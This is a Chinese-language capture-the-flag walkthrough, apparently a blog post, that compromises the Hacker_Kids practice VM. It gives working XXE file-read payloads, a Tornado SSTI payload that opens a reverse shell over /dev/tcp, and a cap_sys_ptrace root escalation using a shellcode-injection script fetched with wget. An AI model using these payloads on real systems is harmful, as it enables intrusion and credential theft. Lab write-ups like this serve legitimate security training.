Hacker_Kids靶机渗透WP

Hacker_Kids靶机渗透WP

一、环境介绍

拿到题目的时候,只有一个虚拟机文件,我们加载进虚拟机以后,可以看到是一个Ubuntu系统

1.png

但是我们没有系统的账号密码,一切信息都要我们从0开始获取。

二、信息收集

1.获取靶机IP

由于靶机是在虚拟机运行,那么他所在的网段由我们掌握,通过nmap搜索局域网ip可以拿到靶机的IP

$ nmap -sP 192.168.31.0/24      
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-20 23:39 EDT
Nmap scan report for 192.168.31.2
Host is up (0.00057s latency).
Nmap scan report for 192.168.31.128
Host is up (0.00041s latency).
Nmap scan report for 192.168.31.129
Host is up (0.00044s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 3.08 seconds
2.jpg
  • IP: 192.168.31.129

2.获取靶机中所运行的服务及端口

$ nmap -A -p- 192.168.31.129
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-21 02:17 EDT
Nmap scan report for hackers.blackhat.local (192.168.31.129)
Host is up (0.00097s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Notorious Kid : A Hacker 
|_http-server-header: Apache/2.4.41 (Ubuntu)
9999/tcp open  http    Tornado httpd 6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
|_http-server-header: TornadoServer/6.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.01 seconds

我们扫描靶机端口发现53端口、80端口以及9999端口是开放的。

  • PORT: 53 \ 80 \ 9999

三、漏洞发现阶段

1.代码审计

我们首先访问靶机80端口,发现他运行着一个静态页面:

3.png

右键查看HTML源码,查阅代码发现:

4.png

这里提示我们添加一个url查询参数: page_no,组成url如下:http://192.168.31.129/?page_no=1

5.png

根据提示:需要我们将page_no继续遍历一下,找到正确的page_no

2. Burp爆破

我们在这里用burp进行遍历爆破,设置如下:

6.png
7.png

结果如下:

8.png

我们发现当payload为21的时候,网页返回的长度变了,说明21就是我们要的page_no,带入访问如图:

9.png

根据提示,他创建了一些子域名指向靶机,比如其中一个:hackers.blackhat.local

3. dig工具反向查询

我们拿到了他其中一个子域名,我们使用dig工具反向查一下其他的子域名:

10.png

在这里我们就拿到了另一个子域名,在/etc/hosts文件中配置一下本地DNS指向,并进行访问

11.png

修改以后记得刷新一下缓存:

$ /etc/init.d/networking restart            
Restarting networking (via systemctl): networking.service.

访问另一个子域名可以发现是另一个站点:

12.png

4. XXE漏洞利用

我们拿到新站点,第一件事还是先看看代码:

13.png

发现他这里用了XML作为http报文的body,猜测存在XXE漏洞,我们先抓包提交一个正常的,然后改包测试看看:

14.png

发现email这个参数能够回显,接下来插入我们的XXE Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
    <name>1</name>
    <tel>2</tel>
    <email>&xxe;</email>
    <password>4</password>
</root>
15.png

成功读取/etc/passwd文件,接下来我们看一下.bashrc文件,

为了加载你的配置,bash 在每次启动时都会加载 .bashrc 文件的内容。每个用户的 home 目录都有这个 shell 脚本。它用来存储并加载你的终端配置和环境变量。

根据刚才/etc/passwd文件,我们得知saket是可登录的用户,能执行bash,所以我们接下来查看saket的.bashrc文件:

saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
16.png

发现读不出来,估计被拦截了,我们换种方式读取,将其通过base64编码后返回,这里用到php://filter/convert.base64-encode/resource=/home/saket/.bashrc

17.png

对结果解码后如图:

18.png

由于admin不在/etc/passwd里,我们可以猜测是网站后台或者数据库的密码

5.SSTI漏洞利用

刚才我们在使用nmap进行端口扫描的时候发现还有一个9999端口,我们在浏览器中访问:

19.png

发现还有一个站点,根据提示让我们给一个name的参数,http://hackerkid.blackhat.local:9999/?name=hello 访问后如图:

20.png

我们结合前面nmap中扫描的结果(9999端口,Tornado)猜测存在服务器端模板注入漏洞(SSTI)

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

我们简单尝试判断是否存在漏洞:http://hackerkid.blackhat.local:9999/?name={{7*7}}

21.png

发现漏洞可利用,那我们构造SSTI反弹shell的payload如下:

?name={% import os %}{{os.system('bash -c "bash -i > /dev/tcp/192.168.31.128/8888 0>&1 2>&1"')}}

上述payload记得得先url编码再拼接,在提交payload前我们在我们kali机中开启nc监听

$ nc -nvlp 8888
listening on [any] 8888 ...

提交payload后效果如下:

22.png

至此我们已经通过saket用户的身份获得shell的权限

6. python2.7 提权root

我们通过命令:

/sbin/getcap -r / 2>/dev/null

获得不同二进制文件的功能

capacity可以理解成把root的权限分割成很多部分给普通用户去使用。每个权限都会有不一样的功能。对应的命令是getcap

命令/sbin/getcap -r / 2>/dev/null

/dev/null=linux的垃圾桶
2=错误模式输出后面可以理解为如果有错误报告会直接删除不会显示
/sbin=超级用户指令系统管理命令,这里存放的是系统管理员使用的程序
/getcap -r = 查找setcap所设置的文件

执行结果:

saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null
/snap/core20/1581/usr/bin/ping = cap_net_raw+ep
/snap/core20/1518/usr/bin/ping = cap_net_raw+ep
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

其中python2.7的权限为cap_sys_ptrace+ep

CAP_CHOWN 0 允许改变文件的所有权

CAP_DAC_OVERRIDE 1 忽略对文件的所有DAC访问限制

CAP_DAC_READ_SEARCH 2 忽略所有对读、搜索操作的限制

CAP_FOWNER 3 以最后操作的UID,覆盖文件的先前的UID

CAP_FSETID 4 确保在文件被修改后不修改setuid/setgid位

CAP_KILL 5 允许对不属于自己的进程发送信号

CAP_SETGID 6 允许改变组ID

CAP_SETUID 7 允许改变用户ID

CAP_SETPCAP 8 允许向其它进程转移能力以及删除其它进程的任意能力(只限init进程)

CAP_LINUX_IMMUTABLE 9 允许修改文件的不可修改(IMMUTABLE)和只添加(APPEND-ONLY)属性

CAP_NET_BIND_SERVICE 10 允许绑定到小于1024的端口

CAP_NET_BROADCAST 11 允许网络广播和多播访问(未使用)

CAP_NET_ADMIN 12 允许执行网络管理任务:接口、防火墙和路由等.

CAP_NET_RAW 13 允许使用原始(raw)套接字

CAP_IPC_LOCK 14 允许锁定共享内存片段

CAP_IPC_OWNER 15 忽略IPC所有权检查

CAP_SYS_MODULE 16 插入和删除内核模块

CAP_SYS_RAWIO 17 允许对ioperm/iopl的访问

CAP_SYS_CHROOT 18 允许使用chroot()系统调用

CAP_SYS_PTRACE 19 允许跟踪任何进程

CAP_SYS_PACCT 20 允许配置进程记帐(process accounting)

CAP_SYS_ADMIN 21 允许执行系统管理任务:加载/卸载文件系统、设置磁盘配额、开/关交换设备和文件等.

CAP_SYS_BOOT 22 允许重新启动系统

CAP_SYS_NICE 23 允许提升优先级,设置其它进程的优先级

CAP_SYS_RESOURCE 24 忽略资源限制

CAP_SYS_TIME 25 允许改变系统时钟

CAP_SYS_TTY_CONFIG 26 允许配置TTY设备

CAP_MKNOD 27 允许使用mknod()系统调用

CAP_LEASE 28 允许在文件上建立租借锁

CAP_SETFCAP 31 允许在指定的程序上授权能力给其它程序

python2.7拥有cap_sys_ptrace权限,意味着他可以调试别的进程,对进程进行内存修改及查看等活动,利用提权脚本:

https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py

我们可以将反弹shell提权到root,具体步骤如下:

1). 将脚本下载到靶机

saket@ubuntu:~$ wget https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py .
<919439010bbabed769d86303ff18ffbacdaecfd/inject.py .

2).查看具有root权限的进程有哪些

23.png

我们随意选择一个进程来尝试(pid 764)

3).执行脚本

saket@ubuntu:~$ python2.7 inject.py 764
python2.7 inject.py 764
Instruction Pointer: 0x0L
Injecting Shellcode at: 0x0L
Shellcode Injected!!
Final Instruction Pointer: 0x2L

查看是否注入成功,我们可以看下有没有开启5600端口,如果没有成功,我们将所有root进程都尝试一遍

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
netstat -ano | grep 5600
tcp        1      0 0.0.0.0:5600            0.0.0.0:*               LISTEN      
tcp        8      0 192.168.31.129:5600     192.168.31.128:48164    CLOSE_WAIT 
tcp       12      0 192.168.31.129:5600     192.168.31.128:48162    CLOSE_WAIT 

4).nc连接shell

saket@ubuntu:~$ nc 192.168.31.129 5600
24.png

总结

漏洞利用点:

  1. DIG反查子域名
  2. Burp爆破
  3. XXE漏洞
  4. SSTI模板注入
  5. cap_sys_ptrace python提权
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 200,527评论 5 470
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,314评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 147,535评论 0 332
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,006评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,961评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,220评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,664评论 3 392
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,351评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,481评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,397评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,443评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,123评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,713评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,801评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,010评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,494评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,075评论 2 341

推荐阅读更多精彩内容